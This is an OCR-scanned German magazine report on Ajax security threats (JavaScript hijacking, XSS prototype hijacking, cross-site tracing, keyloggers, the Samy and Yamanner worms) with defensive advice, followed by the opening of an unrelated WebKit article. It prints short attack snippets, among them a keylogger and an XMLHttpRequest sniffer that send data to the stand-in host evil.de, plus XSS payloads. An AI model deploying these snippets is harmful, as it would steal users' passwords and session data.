code wird nach seinem Eintref- 
fen im Browser sofort ausgeführt 
und in echte JavaScript-Objekte 
deserialisiert. Hierfür steht die 
Methode eval()zur Verfügung. 
Gängige JavaScript-Bibliotheken 
wie Prototype bieten zusätzlich 
eine Methode evalJSON(), JSON.parse() 
oder ähnlich, welche die Daten 
zwar nicht ganz so schnell in 
Objekte umwandelt wie eval(), 
denen aus Sicht der Sicherheit 
aber unbedingt der Vorzug zu 
geben ist. Denn nur mit ihnen 
kann man optional eine inhaltli- 
che Filterung implementieren, 
die, etwa durch Vergleich mit 
regulären Ausdrücken, gefähr- 
lichen Schadcode zu entfernen 
vermag. 


Asynchron 


Durch XMLHttpRequest lassen 
sich asynchrone sowie synchro- 
ne Anfragen aus clientseitigem 
JavaScript heraus anstoßen und 
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absenden. Bei asynchronen An- 
fragen wird die Webanwendung 
zwischen dem Absenden der An- 
frage und dem Eintreffen der 
Antwort nicht blockiert, wie es 
bei synchroner Kommunikation 
üblich ist. 

Bei klassischen Webanwen- 
dungen bemerkt der Nutzer 
durch die weiße Seite und den 
Fortschrittsbalken im Browser, 
dass etwas nachgeladen wird. 
Bei asynchronen Anfragen, die 
über XMLHttpRequest generiert 
und abgeschickt werden, fehlen 
diese optischen Hinweise. Sofern 
der Entwickler keine Fortschritts- 
anzeige eingebaut hat, erfahren 
Nutzer in der Regel nichts über 
von ihrem Browser ausgehende 
Anfragen. Das können sich An- 
greifer in vielerlei Hinsicht zu 
Nutze machen. Denkbar wäre 
etwa eine heimliche Bestellung 
im Online-Shop, während der 
Nutzer dort eingeloggt ist und 
nicht bemerkt, dass sein Browser 
zuvor eingeschleusten Schad- 
code ausführt. 

Um über XMLHttpRequest er- 
zeugte Anfragen auf dem Client 
sichtbar zu machen, muss man 
zusätzliche Software einsetzen. 
Eine Lösung ist ein HTTP-Proxy 
wie Fiddler. Dieser wird zwischen 
dem Browser und der Internet- 
verbindung platziert und über- 
wacht so sämtlichen Datenver- 
kehr über HTTP. Eine weitere 
Möglichkeit sind Browser-Plug- 
ins wie Firebug für Mozilla Firefox 
oder IEWatch für Internet Explo- 
rer. Diese zeigen Nutzern auch 
über XMLHttpRequest erzeugte 
Anfragen an. 

Entwickler wären eigentlich 
nicht darauf beschränkt, Nutzer- 
eingaben in Form sichtbarer, an- 
gehängter URL-Parameter (GET) 
oder eingebettet in die HTTP-An- 
frage (POST) an den Server zu 
übertragen. Mittels XMLHttpRe- 
quest kann man beliebige HTTP- 
Methoden wie TRACE, PUT oder 
DELETE einsetzen, die aber si- 
cherheitskritische Aktionen wie 
das Speichern oder Löschen von 
Dateien auf dem Server er- 
möglichen. Daher sind diese Me- 
thoden auf den Servern meist de- 
aktiviert. Auch für Ajax-Anwen- 
dungen genügen GET und POST 
allemal. 

Der Server kann eintreffende 
asynchrone HTTP-Anfragen nicht 
von synchronen unterscheiden. 
Der innere Aufbau beider Re- 
quest-Arten, also Header und 
Body, ist in der Regel identisch. 
Lediglich deren Erzeugung sowie 
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Browser 


Nachdem ein An- 


Original-Objekt 


XMLHttpRequest 


onreadystatechange() 


greifer das originale 
XMLHttpRequest 

in ein neues Objekt 
gepackt hat, wer- 
den alle erzeugten 
Objekte von 
XMLHttpRequest 
zu Klonen dieses 
Wrappers. Beim 
Versenden von 


-Original_xmlIHttp (Instance 


onreadystatechange() 


var xhr = new XMLHttpRequest() 


xhr. open(*url”) 


xhr.send(””) 


die Behandlung der korrespon- 
dierenden Antwort auf dem 
Client sind unterschiedlich. In 
Verbindung mit der fehlenden 
Rückmeldung asynchroner An- 
fragen gerät damit ein wichtiges 
Schutzziel verteilter Systeme in 
Gefahr: die Verbindlichkeit. An- 
wender können kaum nachwei- 
sen, dass eine von ihrem Browser 
ausgehende Anfrage ungewollt 
und ohne ihr Wissen erfolgte. 


Ajax für Angreifer 


XMLHttpRequest ist die Basis für 
alle bisher unbekannten Angriffs- 
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Daten belauscht 
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formen, die sich nun mit Ajax 
umsetzen lassen. Zusätzlich be- 
günstigt werden sie durch den 
verstärkten Einsatz von Java- 
Script. Grundlage und Vorausset- 
zung für die meisten dieser An- 
griffe ist eine zuvor erfolgreich 
durchgeführte XSS-Attacke. 

Ein auf den Namen JavaScript 
Hijacking getaufter Angriff er- 
möglicht das Abhören über- 
tragener Daten in Echtzeit. An- 
greifer können auf diese Weise 
sensible Daten wie durch den 
Nutzer eingegebene Bankver- 
bindungen oder Passwörter ab- 
fangen, sofern diese nicht ver- 
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Enttarnt: Das Firefox-Plug-in Firebug zeigt asynchrone, über 
XMLHttpRequest erzeugte Anfragen an. Bei Google Suggest 
schickt der Browser nach jedem Tippen eines Zeichens eine 


Anfrage zum Server. 


schlüsselt transportiert werden. 
Voraussetzung ist die Über- 
tragung von sensiblen Daten im 
JSON-Format, beim Einsatz etwa 
von XML ist JavaScript Hijacking 
nicht möglich. 

Im Vorfeld dieses Angriffs 
lockt der Angreifer das Opfer 
durch XSS oder Phishing auf eine 
seiner Seiten. Dort wird der 
Basiskonstruktor Object() über- 
schrieben, der die Grundlage für 
die Erzeugung von Objekten in 
JavaScript ist. Innerhalb des 
überschriebenen Konstruktors 
lassen sich dann die Setter-Me- 
thoden zum Festlegen von Attri- 
buten ändern. Diese Methoden 
werden mittels JSON übertra- 
gen. Der geänderte Setter startet 
auf dem Client zusätzlich zu sei- 
ner normalen Aufgabe eine Me- 
thode, die den Schadcode zum 
eigentlichen Abhören kapselt. 
Über XMLHttpRequest werden 
die belauschten Daten anschlie- 
ßend im Hintergrund an den 
Angreifer übertragen. Das Opfer 
bemerkt diese Übermittelung in 
der Regel nicht [7]. 


Prototypen-Entführung 


Eine weiteres Sicherheitsproblem 
stellte Stefano Di Paola im De- 
zember 2006 auf der Konferenz 
des Chaos Computer Clubs (CCC) 
in Berlin vor. Durch XSS Prototy- 
pe Hijacking können abgehörte 
Daten vor ihrer Übertragung zum 
Server manipuliert werden. Dies 
kommt einem clientseitig imple- 
mentierten Man-in-the-Middle- 
Angriff gleich. 

XSS Prototype Hijacking nutzt 
wiederum eine Schwachstelle 
von JavaScript aus: Als prototyp- 
basierte Sprache werden ihre 
Objekte nicht aus Klassen er- 
zeugt, sondern aus bereits exis- 
tierenden beziehungsweise aus 
nativen Objekten geklont. Diese 
lassen sich zur Laufzeit um zu- 
sätzliche Methoden und Attribu- 
te erweitern. Gleichzeitig kön- 
nen aber auch bereits bestehen- 
de überschrieben werden, was 
beim XSS Prototype Hijacking 
ausgenutzt wird. 

Der notwendige Schadcode 
wird beispielsweise durch XSS 
auf den Client des Opfers einge- 
schleust. Im Rahmen von XSS 
Prototype Hijacking wird das na- 
tive XMLHttpRequest in einem 
neuen Attribut zwischengespei- 
chert. Dieses ist Bestandteil eines 
neu erzeugten Objekts, auf wel- 
ches XMLHttpRequest nun refe- 
renziert. Sämtliche neu erzeug- 
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Eingabevalidierung 


Grundlage für die meisten Be- 
drohungen von Webanwen- 
dungen ist eine unzureichende 
Prüfung von Nutzereingaben. 
Hierdurch lassen sich ungültige 
Werte sowie schädlicher Code 
einschleusen. Die unterste Si- 
cherheitsschicht einer Weban- 
wendung ist daher stets eine 
effektive Eingabevalidierung, 
die zwingend außerhalb der 
Kontrolle des Clients, also auf 
dem Server stattfindet. 


Dabei werden sämtliche Nut- 
zereingaben unter anderem 
auf überlange Zeichenketten, 
außerhalb ihres Werteberei- 
ches liegende Zahlen sowie 
schädlichen Programmcode 
geprüft. Abhängig vom jeweili- 
gen Datentyp sollten mindes- 
tens folgende Eigenschaften 
geprüft werden: 


- Datentyp beziehungsweise 
-format 


- Datenbereich beziehungswei- 
se -länge (speziell bei Strings) 


- unerlaubte Tags beziehungs- 
weise Schlüsselwörter (spe- 
ziell bei HTML und JavaScript) 


Im Rahmen einer Prüfung auf 
unerlaubte Zeichen oder Zei- 
chenketten ist stets das Prinzip 
des Whitelistings anzuwenden. 
Dieses spezifiziert eine Liste 


ten Objekte werden anschlie- 
Bend zu Klonen dieses Wrappers 
anstatt zu solchen des originalen 
XMLHttpRequest: 


var xhr = XMLHttpRequest; 

XMLHttpRequest = function() { 
this.oldXHR = new xhr(); 
return this; 


} 


Im nächsten Schritt wird die Me- 
thode send() überschrieben. Sie 
kapselt die Funktionen zum Sen- 
den von Anfragen via XMLHttp- 
Request und ist stets über das neu 
erzeugte Attribut des Wrappers 
erreichbar. Zuvor werden jedoch 
die beiden Methoden sniff() und 
manipulate() zum Abhören und Ma- 
nipulieren der Daten aufgerufen: 


XMLHttpRequest.prototype.send = 
function (data) { 

sniff('Hijacked: ' + data); 

data = manipulate(data); 

return this.oldXHR.send(data); 
} 


c't 2008, Heft 2 


© Copyright by Heise Zeitschriften Verlag GmbH & Co. KG. Veröffentlichung und Vervielfältigung nur mit Genehmigung des Heise Zeitschriften Verlags. 


Report | Webprogrammierung 


mit erlaubten Zeichen. Enthal- 
ten Eingaben davon abwei- 
chende Inhalte, werden diese 
sofort als ungültig verworfen. 
In der Praxis werden hierfür 
häufig reguläre Ausdrücke ein- 
gesetzt. Der größte Nachteil 
des alternativen Blacklistings 
aus Sicht der Sicherheit ist die 
stetige Aktualisierung der da- 
zugehörigen Blacklist verbote- 
ner Zeichen oder Zeichenket- 
ten. Mit jeder neu entdeckten 
Sicherheitslücke muss diese 
zeitnah erweitert werden. An- 
dernfalls ist die entsprechende 
Webanwendung sofort der 
neuen Bedrohung ausgesetzt. 


Eine zusätzliche Möglichkeit zur 
Erhöhung der Sicherheit nach 
erfolgter Eingabevalidierung ist 
die Durchführung eines Esca- 
pings (Ausgabemaskierung). 
Hierbei werden die Sonderzei- 
chen aller Werte, die aus Nut- 
zereingaben resultieren, vor 
ihrer Ausgabe im Quellcode 
durch ihre korrespondieren- 
den, unschädlichen HTML-En- 
tities ersetzt. Damit verlieren sie 
ihre Sonderfunktion als Steuer- 
zeichen. Im Browser werden sie 
dennoch wie gewohnt darge- 
stellt. Eine für diesen Zweck frei 
verfügbare Bibliothek ist bei- 
spielsweise AntiXSS von Micro- 
soft (siehe Soft-Link). 


Aufgrund der Same Origin Policy 
ist es dem Angreifer nicht mög- 
lich, sich die ausspionierten 
Daten via XMLHttpRequest zu- 
zusenden. Allerdings kann dies 
durch das Laden eines Bildes mit 
JavaScript problemlos umgan- 
gen werden: 


var image = 
document.createElement('img'); 
image.src = 
'http://www.evil.de/log.php?data=' + 
data; 


Bei allen folgenden Anfragen 
über XMLHttpRequest können 
die zu übertragenden Daten nun 
zuvor abgehört und manipuliert 
werden. Durch die fehlende 
Rückmeldung von XMLHttpRe- 
quest erhält das Opfer meist 
auch von diesem Angriff keine 
Kenntnis [8]. Eine wirksame Ein- 
gabevalidierung bietet hier den 
besten Schutz. Denn nur wenn 
diese unzureichend umgesetzt 
wurde, kann entsprechender 
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Schadcode in die Webanwen- 
dung eingeschleust werden. 


Cross-Site Tracing 


Cross-Site Tracing nutzt die Mög- 
lichkeit von XMLHttpRequest, 
Daten auch über andere HTTP- 
Methoden als nur GET und POST 
zu versenden. Die Methode 
TRACE wird oft zu Entwicklungs- 
und Testzwecken verwendet. An- 
fragen über TRACE sendet der 
Server als eine Art Echo an den 
Client zurück. Die Antwort enthält 
sämtliche vom Browser gesende- 
te Informationen wie Cookies. 

Auch hier lockt der Angreifer 
sein Opfer zunächst auf eine prä- 
parierte Seite. Der darin enthal- 
tene Schadcode sendet anschlie- 
ßend über XMLHttpRequest eine 
TRACE-Anfrage an den Zielser- 
ver, den das Opfer ursprünglich 
aufzurufen versucht hat. Dieser 
sendet anschließend die Anfrage 
als Echo zurück an den Client. 
Das Opfer befindet sich jedoch 
noch immer unwissentlich im 
Seitenkontext des Angreifers. 

Sobald die Antwort empfan- 
gen wird, kann der Schadcode 
die darin enthaltenen Daten wie 
in Cookies gespeicherte Pass- 
wörter oder Session-IDs auslesen 
und an den Angreifer senden [9]. 
Da die Methode TRACE spätes- 
tens nach der Entwicklungs- 
phase von Webanwendungen 
nicht mehr benötigt wird, ist sie 
auf den meisten Servern bereits 
deaktiviert, was Angriffe dieser 
Art bereits im Keim erstickt. 


Keylogger 


Die Möglichkeit zur heimlichen 
Übermittlung von Informationen 
über XMLHttpRequest eröffnet 
noch viele weitere Angriffssze- 
narien. Es bedarf keiner großen 
Programmierkenntnisse für die 
Entwicklung von Schadcode, der 
das Ausspionieren sämtlicher 
Tastatur- und Mausereignisse 
des Opfers ermöglicht. 

Bei klassischen Webanwen- 
dungen konnten sich Nutzer 


function key_logger(e) { 


meist sicher sein, dass die Inhalte 
der von ihnen ausgefüllten For- 
mularfelder erst nach dem Klick 
auf den Absenden-Button über- 
tragen wurden. Diese Sicherheit 
verlieren die Nutzer jedoch bei 
Ajax und XMLHttpRequest. Be- 
reits während des Tippens kön- 
nen die Formulardaten unbe- 
merkt an einen Angreifer übertra- 
gen werden. Voraussetzung dafür 
ist das vorherige Einschleusen des 
Schadcodes in die entsprechende 
Webanwendung durch XSS. 

In einem Beispielszenario ver- 
sucht sich ein Nutzer an einem 
Portal für Online-Banking anzu- 
melden. Nach dem Eintippen des 
Passworts bemerkt er jedoch, 
dass er versehentlich das für sei- 
nen Account bei eBay eingege- 
ben hat. Noch bevor er das An- 
meldeformular durch Klicken auf 
„OK“” absendet, korrigiert er das 
Passwort. Das ursprünglich einge- 
gebene wurde jedoch bereits un- 
bemerkt durch XMLHttpRequest 
an den Angreifer übermittelt. Die- 
ser versucht, sich mit dem aus- 
spionierten Kennwort im Namen 
des Opfers bei beliebten Internet- 
Seiten anzumelden - und landet 
dabei irgendwann bei eBay. 


Entwicklungshilfe 


Um als Einsteiger in die Ajax-Ent- 
wicklung die schlimmsten An- 
fängerfehler zu vermeiden, kann 
man auf bewährte Frameworks 
zurückgreifen. Die erleichtern es 
zudem, die Webanwendung für 
die Betrachtung in verschiede- 
nen Browsern kompatibel zu hal- 
ten. Für Ajax existieren bereits 
zahlreiche solcher Helfer. Einen 
umfangreichen Überblick hier- 
über bietet [10]. 

Natürlich sind auch die Auto- 
ren der Frameworks nicht vor 
Fehlern gefeit. Beispiele aus der 
Vergangenheit (z. B. CPaint oder 
PAjax) zeigen, dass die Sicher- 
heitslücken eines Frameworks 
schnell zur Gefährdung jener 
Webanwendungen führen, die 
auf seiner Grundlage implemen- 
tiert wurden. 


var image = document.createElement('img'); 
image.src = 'http://www.evil.de/log.php?pud=' + 
document.getElementByld('pud').value; 


} 


document.onkeyup = key_logger; 


Diese wenigen Zeilen implementieren einen vollständigen 
Keylogger. Bei jedem Tastendruck wird die Methode key_logger() 
aufgerufen, die den aktuellen Inhalt des Formularfelds „pwd” an 


den Angreifer sendet. 
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Ajax-Würmer und XSS 


Zwei bedeutende Beispiele aus 
der Vergangenheit, die beiden 
Ajax-Würmer MySpace Samy 
und Yahoo! Yamanner, zeigen 
die Gefahr von Angriffen unter 
Cross-Site-Scripting (XSS) und 
Ajax. Die Besonderheiten von 
asynchronen, über XMLHttpRe- 
quest versendeten Anfragen 
verhalfen ihnen dabei zu einer 
schnellen Verbreitung - ähnlich 
wie die eines Computervirus. 


Indem er schädlichen JavaScript- 
Code in seinem MySpace-Profil 
speicherte, wurden sämtliche 
Betrachter von Samys Profil zu 
seinen virtuellen Freunden. Zu- 
sätzlich wurden deren Profile 
manipuliert, was ihre Besucher 
wiederum zu neuen Freunden 
von Samy machte. Innerhalb 
weniger Stunden wuchs die 
Zahl von Samys Freunden 
sprungartig auf über eine Mil- 
lion an. Der dadurch verursach- 
te Verbrauch an Systemressour- 
cen brachte das Portal einige 
Tage zum Erliegen. 


Möglich wurde dieser Angriff 
durch eine unzureichende Ein- 
gabevalidierung. So versäumte 
es MySpace, die Werte von 
CSS-Attributen innerhalb der 
Nutzerprofile auf Schadcode zu 
prüfen. Innerhalb dieser Attri- 
bute konnte Samy seinen 
schädlichen JavaScript-Code 
unentdeckt einbetten. Beim 


Bei der Auswahl des geeig- 
neten Frameworks sollte man 
daher Wert auf eine große Ent- 
wickler- und Anwendergemein- 
de legen, die Fehler schnell er- 
kennen und beheben kann. Um 
davon dann zu profitieren, muss 
man deren Website stets im 
Auge behalten und eventuelle 
Updates zügig übernehmen. 

Erste vielversprechende An- 
sätze zur Schaffung einheitlicher 
Standards und Best Practices 
sind das OWASP AJAX Security 
Project [11] sowie die OpenAjax 
Alliance. Letztere veröffentlichte 
erst im September dieses Jahres 
ein Whitepaper über die Sicher- 
heit von Ajax-Mashups [12]. 


Sicherheitstests 


Sicherheitstests, meist in Form 
von Penetrationstests, sind ein 
wichtiges Instrument zur Beur- 


Rendern der CSS-Attribute 
wurde dieser anschließend 
ausgeführt. Unter [1] hat der 
damalige Angreifer eine detail- 
lierte Beschreibung seines An- 
griffes veröffentlicht: 


<div id="code expr="alert('xss') 
style="background('javascript:eval( 
document.code.expr))> 


Anders als Samy hatte Yaman- 
ner mit seiner Attacke auf den 
webbasierten E-Mail-Client von 
Yahoo! finanzielle Motive. Er 
bettete schädlichen JavaScript- 
Code in HTML-Mails ein. Beim 
Öffnen dieser E-Mails sammelte 
Yamanner die Adressen aller 
Kontakte aus dem Adressbuch 
des Opfers, um sie anschließend 
an den Angreifer zu senden. 
Dieser konnte sie anschließend 
gewinnbringend an Spam-Un- 
ternehmen veräußern. Gleich- 
zeitig verbreitete sich der Wurm 
an all diese Kontakte automa- 
tisch über XMLHttpRequest. 


Auch Yamanner nutzte eine 
Schwachstelle bei der Eingabe- 
validierung des Mail-Providers. 
So war es ihm möglich, schäd- 
lichen Skriptcode in das HTML- 
Attribut onLoad einzufügen, 
der dann beim Öffnen der 
HTML-Mail ausgeführt wurde: 


<img src="image.png" 
onLoad="javascript:alert('xss');" /> 


teilung und zum Nachweis aus- 
reichender Sicherheit von Web- 
anwendungen. Im Rahmen der 
ersten, passiven Phase eines 
Penetrationstests scannen (auch: 
crawlen) Testwerkzeuge die ge- 
samte Webanwendung. Durch 
die Identifikation sämtlicher in- 
terner Verlinkungen entsteht so- 
mit ein genauer Plan über den 
strukturellen Aufbau. 

Bei Ajax werden diese Verlin- 
kungen aber nicht selten erst dy- 
namisch zur Laufzeit über Java- 
Script und DOM erzeugt und in 
die Anwendung eingebaut. Dies 
erschwert es Testwerkzeugen, 
die Anwendung zu crawlen. Sie 
müssen dazu in der Lage sein, 
JavaScript auszuwerten. Dieses 
Problem macht die Zahl der 
Ajax-fähigen Testtools noch sehr 
überschaubar. Dazu zählen ak- 
tuell Sprajax, ein Tool des Open 
Web Application Security Project 
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(OWASP), sowie Chorizo, ein Pro- 
dukt des Münchner Unterneh- 
mens Mayflower. 


Fazit 


Da bei Ajax die gleichen Stan- 
dards und Protokolle zum Einsatz 
kommen wie bei klassischen 
Webanwendungen, ändert sich 
im Web 2.0 nicht gleich das Welt- 
bild der Webprogrammierung. 
Eine Mindestanforderung ist die 
Umsetzung der gleichen Sicher- 
heitsmaßnahmen, die auch bei 
klassischen Webanwendungen 
schon notwendig waren. Einige 
Unterschiede gilt es jedoch trotz- 
dem zu beachten. Die meisten 
resultieren aus der Verwendung 
von XMLHttpRequest zum Ver- 
senden asynchroner Anfragen. 
Dadurch lassen sich Anfragen 
heimlich und ohne Kenntnis des 
Opfers absetzen. 

Zu den Wegbereitern für neue 
Angriffsformen, die Ajax ermög- 
licht, zählt auch der verstärkte 
Einsatz von JavaScript. Sicher- 
heitslücken in Implementierun- 
gen der Skriptsprache sind im- 
mer noch ein Problem. Surfer 
sollten daher stets auf einen ak- 
tuellen Browser achten, in dem 
möglichst viele der bekannten 
Probleme gefixt sind. Auf der an- 
deren Seite müssen sich Web- 
entwickler gewahr sein, dass An- 
greifer durch die Übertragung 
des Codes im Klartext leicht Re- 
verse Engineering betreiben und 
die gewonnenen Kenntnisse für 
spätere Angriffe missbrauchen 
können. 

Hauptursache für die Durch- 
führbarkeit der meisten Angriffe 
ist und bleibt jedoch eine unzu- 
reichende Eingabevalidierung. 
Erst diese ermöglicht es, Schad- 
code in die Webanwendung ein- 
zuschleusen. Die Vergrößerung 
der Angriffsfläche durch die In- 
tegration von Blogs, Feeds oder 
Webservices verschärft dieses 
Problem. 

Bis zu einer breiten Ent- 
wicklung und Veröffentlichung 
brauchbarer Entwicklungsricht- 
linien und Testwerkzeuge sollte 
man sorgfältig abwägen, ob und 
in welchem Umfang der Einsatz 
von Ajax wirklich sinnvoll und 
notwendig ist. Erste erfolgreiche 
Ansätze für solche Richtlinien 
liefern das OWASP AJAX Secu- 
rity Project und die OpenAjax 
Alliance. 

Bei der Gestaltung von Benut- 
zeroberflächen kann die Verwen- 
dung von Ajax die Benutzbarkeit 
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deutlich verbessern. An der fal- 
schen Stelle eingesetzt führt es 
jedoch schnell zu Sicherheitspro- 
blemen. So ist eine Auto-Vervoll- 
ständigen-Funktion a la Google 
Suggest für die Eingabe von 
E-Mail-Adressen mehr als frag- 
würdig, da Spammer darüber 
allzu leicht gültige Adressen sam- 
meln können. Außerdem sollte 
Logik zur Umsetzung von Sicher- 
heitsmechanismen und Business- 
Logik stets auf dem Server ver- 
bleiben. Nur dort kann sie, ge- 
schützt durch neugierige Blicke 
von Angreifern, zuverlässig ihren 
Dienst erfüllen. (ad) 


Tim Wartmann ist IT Consultant 
bei der Comarch Software AG in 
Dresden. 
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Herbert Braun 


Webkit - die 
unbekannte Größe 


Die Engine von Apples Safari erobert das Web 


Es ist noch nicht lange her, dass WebKit nur Mac-Anwendern ein Begriff war. 
Doch inzwischen hat Apples Browser-Engine in Nokia, Google und Adobe 
mächtige Unterstützer gefunden, ist Marktführer bei den Mobilbrowsern und 
schickt sich an, Windows und Linux zu erobern. 


och schlagen die meisten 
N WebKit-Herzen in Mac-OS- 

Rechnern, die seit 2003 
mit dem vorinstallierten WebKit- 
Browser Safari ausgeliefert wer- 
den. Die jüngste unter den gro- 
ßen Browser-Engines steckt auch 
in anderen Mac-Anwendungen, 
etwa in Apple Mail, in der Widget- 
Engine Dashboard oder in Dritt- 
produkten wie dem Webeditor 
BBEdit. Andere Mac-Browser wie 
Shiira (www.shiira.jp) oder Sun- 
rise (www.sunrisebrowser.com) 
setzen ebenfalls auf WebKit (www. 
webkit.org) ; das seit 1995 exis- 
tierende OmniWeb (www.om 
nigroup.com/applications/omni 
web) stellte gleich Anfang 2003 
auf diese Engine um. 

Allmählich dringt WebKit auf 
andere Betriebssysteme vor. So 
haben die Entwickler des Linux- 
Desktops Gnome angekündigt, 
dass künftige Versionen des Stan- 
dardbrowsers Epiphany auf Web- 
Kit aufbauen werden - statt auf 
das bisherige Mozilla Gecko. Ob 
der Gnome-Konkurrent KDE den 
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gleichen Schritt tun wird, ist noch 
ungewiss: Im KDE-Standard- 
browser Konqueror steckt die 
Engine KHTML, das Mutterpro- 
jekt von WebKit (siehe Kasten). 

Swift (www.swift.ws), im Som- 
mer 2006 gestartet, war der 
erste Versuch, WebKit auf Win- 
dows-Rechner bringen - doch 
ist dieses Projekt obsolet ge- 
worden, seit der im Juni 2007 
vorgestellte Safari 3 erstmals 
auch für Windows vorliegt. Ver- 
gessen ist auch die katastropha- 
le Qualität der ersten Beta [1]: 
Inzwischen ist die vierte Beta er- 
schienen, die sich außer durch 
die fehlende deutsche Lokalisie- 
rung kaum noch als solche er- 
kennen lässt. 


Mobilisierung 


Auf Desktop-Rechnern mit 
Mac OS, Windows oder Linux 
schickt sich WebKit also an, 
gegenüber Firefox Boden gut zu 
machen, auch wenn auf abseh- 
bare Zeit die Reihenfolge IE - 


Firefox - Safari - Opera gefestigt 
sein dürfte. Ganz anders sieht es 
auf dem Mobilmarkt aus. Dort 
gewinnt das schlanke, quelloffe- 
ne WebKit immer mehr Unter- 
stützer bei den Geräteherstellern. 

So hat Apple seinem iPhone 
(und dem verwandten iPod 
touch) einen kompletten Safari- 
Browser spendiert. Das scheint 
bei den Anwendern gut ange- 
kommen zu sein, denn laut einer 
Statistik von Net Applications 
kam zuletzt bereits jeder tau- 
sendste Webseitenaufruf von 
diesen Geräten - anderthalb mal 
so viele wie von allen Windows- 
Mobile-Handhelds und zehnmal 
so viele wie von den Abermillio- 
nen Nokia- und Samsung-Han- 
dys mit S60-Oberfläche. 

Doch auch in diesen Geräten 
steckt ein WebKit-Browser mit 
dem schmucklosen Namen „Web 
Browser for S60“. Nur wenige Wo- 
chen nachdem Apple 2005 die 
WebKit-Quellen komplett freige- 
geben hatte, griff S60-Entwickler 
Nokia zu. Einen WebKit-Browser 


zum Nachinstallieren für Java- 
fähige Smartphones stellt Tea- 
Shark (www.teashark.com) her. 

Still und heimlich ist WebKit 
also zur führenden Browser-En- 
gine für Mobilgeräte geworden. 
Gut möglich, dass die Engine 
diesen Vorsprung noch ausbaut, 
denn die im November gegrün- 
dete Open Handset Alliance 
(www.openhandsetalliance.com), 
die unter der Führung Googles 
eine quelloffene Plattform für 
Mobilgeräte mit dem Code- 
namen „Android“ entwickelt, 
setzt ebenfalls auf WebKit. 

Außer Apple, Google und 
Nokia ist noch ein weiterer IT- 
Riese dem Charme der quelloffe- 
nen Engine erlegen: Adobe hat 
als HTML-Komponente seiner 
Laufzeitumgebung AIR WebKit 
gewählt. AIR (damals noch unter 
dem Namen Apollo) war im Früh- 
jahr 2007 nach Swift die erste 
Windows-Portierung von Webkit; 
die Veröffentlichung von AIR 1.0 
dürfte nicht mehr lange auf sich 
warten lassen. 


Kit & Core 


Es gibt also viele Gründe für 
Webentwickler, Seiten auf einem 
Webkit-Browser zu testen. Doch 
auch für ganz normale Win- 
dows-Anwender könnte sich ein 
Blick auf Safari und Konsorten 
lohnen - vielleicht ist der Brow- 
ser ja nach ihrem Geschmack. 
Anhand von Safari 3.0.4 Beta für 
Windows soll WebKit zeigen, 
was es kann. Der Fokus richtet 
sich dabei auf die Fähigkeiten 
der Engine; Oberfläche und 
Funktionsumfang von Safari 
bleiben außen vor. 

Recht großspurig prahlte 
Apple bei der Vorstellung von 
Safari 3 mit der Geschwindigkeit 
des Browsers. Da er ja auch 
im vergleichsweise ressourcen- 
schwachen iPhone zum Einsatz 
kommen sollte, hat Apple offen- 
bar viel Energie darin investiert, 
den Browser kräftig zu frisieren. 

Auch wenn die Zahlen ge- 
schönt erscheinen und der Vor- 
sprung von Safari auf Windows- 
Rechnern nicht eindeutig belegt 
ist, scheint der Apple-Browser 
dank der zugrunde liegenden 
Engine knapp an der Konkurrenz 
vorbeizuziehen - Opera jeden- 
falls hat seinen Werbeslogan 
„fastest browser on earth” still- 
schweigend eingemottet. Aller- 
dings ist der Aspekt der Darstel- 
lungsgeschwindigkeit überbe- 
wertet: Selbst auf einem betag- 
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error on line 13 at column 177 


Ich bin nur 
ein Umbruch. 


This page contains the following errors: 


: Opening and ending tag mismatch: 


Below is a rendering of the page up to the first error. 


Ein Texteingabefeld 


p line 0 and body 


Bei Fehlern in XML-Webseiten verhält sich WebKit korrekt und 


gleichzeitig benutzerfreundlich. 


ten 1,2-GHz-Athlon mit Windows 
XP ließen sich die im Zehntelse- 
kundenbereich angesiedelten 
Unterschiede zwischen IE 7, Fire- 
fox 2 und Opera 9 subjektiv nicht 
nachvollziehen. 

Ungewohnt für Windows-An- 
wender ist die starke Kantenglät- 
tung bei der Darstellung von 
Schriften; diese unterscheidet 
sich auch deutlich von der des 
IE 7. Allerdings ist diese Kanten- 
glättung nicht in WebkKit enthal- 
ten, wie etwa ein Vergleich mit 
Swift zeigt, sondern eine Safari- 
spezifische Zugabe Apples. 

Was die Webstandards angeht, 
behaupten die Safari-Entwickler, 
dass die Rendering-Maschine 
„HTML in Übereinstimmung mit 
der W3C-Spezifikation darstellt“ 
(http://developer.apple.com/inter 
net/safari/fag.html). Dieser An- 
spruch manifestiert sich beispiels- 
weise darin, dass schon Safari 
2.02 im Oktober 2005 als erster 
Browser den berühmt-berüchtig- 
ten Test Acid2 (www.webstan 
dards.org/act/acid2/test.html) be- 
stand - die offiziellen Firefox- 
Versionen scheitern bis heute an 
diesem CSS-Prüfstein. 

Was das Bild trübt, sind eher 
Kleinigkeiten. Beispielsweise kann 
Webkit/Safari nicht mit typografi- 
schen Anführungszeichen umge- 
hen - ein Schönheitsfehler, der 
aber wegen der völlig fehlenden 
Unterstützung des Internet Ex- 
plorer für das dafür nötige <q>- 
Element in der Praxis (leider) un- 
bedeutend ist. Beim <label>-Ele- 
ment in Formularen hat die ak- 
tuelle WebKit-Version mit der 
Konkurrenz gleichgezogen, auch 
die automatische Nummerierung 
von Überschriften funktioniert in- 
zwischen. 

Merkwürdigerweise lässt sich 
Webkit als einzige der großen 
Engines nicht dazu überreden, 
die im alt-Attribut verzeichneten 
Alternativtexte zu Bildern anzu- 
zeigen. Das mag zulässig sein, 
wenn das Bild auf dem Server 
fehlt, denn die HTML-Spezifika- 
tion ist hier nicht eindeutig. 
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Doch spätestens wenn der Be- 
nutzer die Bildanzeige abschal- 
tet, wäre die Darstellung der Al- 
ternativtexte nicht nur vorge- 
schrieben, sondern auch äußerst 
sinnvoll. Auch wenn Safari 3 am 
Format des Bildes scheitert, be- 
kommt der Anwender nur Frage- 
zeichen-Icons zu sehen - das ist 
zum Beispiel der Fall bei Base64- 
kodierten Grafiken im HTML- 
Quelltext [2]. 

Weniger Schwierigkeiten hat 
WebKit mit Vektorgrafiken. Bei 
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Erst nach einem Eingriff in 
die Browserkonfiguration zeigt 
Safari das Debug-Menü an. 


der SVG-Unterstützung verhält 
es sich in etwa wie Gecko [3], bei 
Canvas war die Apple-Maschine 
Pionier - kein Wunder, denn die 
Inline-Grafiken wurden bei Apple 
erfunden. Noch in den Kinder- 
schuhen steckt dagegen die 
Unterstützung für MathML; laut 
„lorture Test” [4] fällt Webkit 
wegen seiner Unfähigkeit, Brü- 


Von KHTML zu WebKit (und zurück?) 


Kurz vor der Jahrtausendwende 
suchten die Macher von KDE 
nach einem passenden Browser 
für ihre Linux-Desktopumge- 
